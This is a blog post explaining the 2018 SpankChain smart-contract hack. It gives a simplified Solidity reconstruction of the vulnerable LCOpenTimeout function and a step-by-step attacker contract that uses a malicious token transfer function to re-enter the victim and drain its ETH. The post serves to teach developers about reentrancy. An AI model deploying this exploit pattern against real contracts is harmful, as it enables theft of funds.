Penny Arcade classic

or how I wish I could get away from the computer on weekends.

This past week SpankChain, a very interesting and really cool blockchain startup that definitely deserves a lot of respect*, was hacked.

It was a useful hack as it turns out. Not only did the team learned a good lesson about the importance of external auditing but the attacker also uncovered a common attack vector in one of the earliest mainnet implementations of a State Channels contract, and in the end all parties involved got their money (back).

The key finding is that trusting a user-provided contract address to behave as expected based on function signatures alone is a dangerous assumption.

I’ll demonstrate what the attacker’s code could have looked like based on the actual vulnerability but reducing the amount of original code we need to cover to the bare minimum.

pragma solidity 0.4.25; contract HumanStandardToken {

function transfer(address _to, uint256 _value) public returns (bool success);

} contract SpankChannel {

struct Channel {

address[2] partyAddresses; // 0: partyA 1: partyI

uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI

uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI

uint256[2] initialDeposit; // 0: eth 1: tokens

uint256 sequence;

uint256 confirmTime;

bytes32 VCrootHash;

uint256 LCopenTimeout;

uint256 updateLCtimeout; // when update LC times out

bool isOpen; // true when both parties have joined

bool isUpdateLCSettling;

uint256 numOpenVC;

HumanStandardToken token;

}

mapping(bytes32 => Channel) public Channels;



event DidLCClose (

bytes32 indexed channelId,

uint256 sequence,

uint256 ethBalanceA,

uint256 tokenBalanceA,

uint256 ethBalanceI,

uint256 tokenBalanceI

); function LCOpenTimeout(bytes32 _lcID) public {

require(msg.sender == Channels[_lcID].partyAddresses[0]

&& Channels[_lcID].isOpen == false

);

require(now > Channels[_lcID].LCopenTimeout);



if(Channels[_lcID].initialDeposit[0] != 0) {

Channels[_lcID].partyAddresses[0].transfer(

Channels[_lcID].ethBalances[0]

);

}

if(Channels[_lcID].initialDeposit[1] != 0) {

require(Channels[_lcID].token.transfer(

Channels[_lcID].partyAddresses[0],

Channels[_lcID].erc20Balances[0]),

"CreateChannel: token transfer failure"

);

}

emit DidLCClose(

_lcID,

0,

Channels[_lcID].ethBalances[0],

Channels[_lcID].erc20Balances[0],

0,

0

);

delete Channels[_lcID];

}



// for illustration purposes, simplified attack setup

constructor() public payable {

//pre-load the state-channel contract on deployment

//the attack will drain all eth balance from this contract

}

function initAttack(bytes32 _lcID) public {

Channels[_lcID].partyAddresses[0] = msg.sender;

Channels[_lcID].token = HumanStandardToken(msg.sender);

Channels[_lcID].isOpen = false;

Channels[_lcID].LCopenTimeout = now - 1 days;

Channels[_lcID].ethBalances[0] = address(this).balance;

Channels[_lcID].initialDeposit[0] = 1 ether;

Channels[_lcID].initialDeposit[1] = 1 ether;

Channels[_lcID].erc20Balances[0] = 1 ether;

}

} contract Lashing is HumanStandardToken { SpankChannel victim;

bytes32 public lcID = "A wild reentrancy appears"; // payable fallback

function() public payable {

if (address(victim).balance >= msg.value)

attack();

}

// ERC20-ish transfer function (same sig, different logic)

function transfer(address _to, uint256 _value)

public

returns (bool success)

{

if (address(victim).balance >= _value)

_to.transfer(_value);

return true;

}

// 1 - prime the victim contract

function setup(address _victim) public{

victim = SpankChannel(_victim);

victim.initAttack(lcID);

}

// 2 - run attack

function attack() public {

victim.LCOpenTimeout(lcID);

}

// 3 - check if attack was success

function getBalances()

public

view

returns(uint256 vicETH , uint256 myETH)

{

return (

address(victim).balance,

address(this).balance

);

}

// 4 - profit!

function withdraw() public {

msg.sender.transfer(address(this).balance);

}

}

The vulnerability is in the LCOpenTimeout function. The attack makes use of a malign transfer function to re-enter the victim’s contract before the delete Channels[_lcID] line is ever reached. The attacker’s code is called by the Channels[_lcID].token.transfer instruction in the victim’s contract and loops over the Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]) instruction, transferring all of the victim’s ETH balance to the attacker.

That’s right. It’s the same old re-entrancy bug that hit the DAO a couple of years ago. Smart-contract developers need discipline or they risk a good spanking once in a while.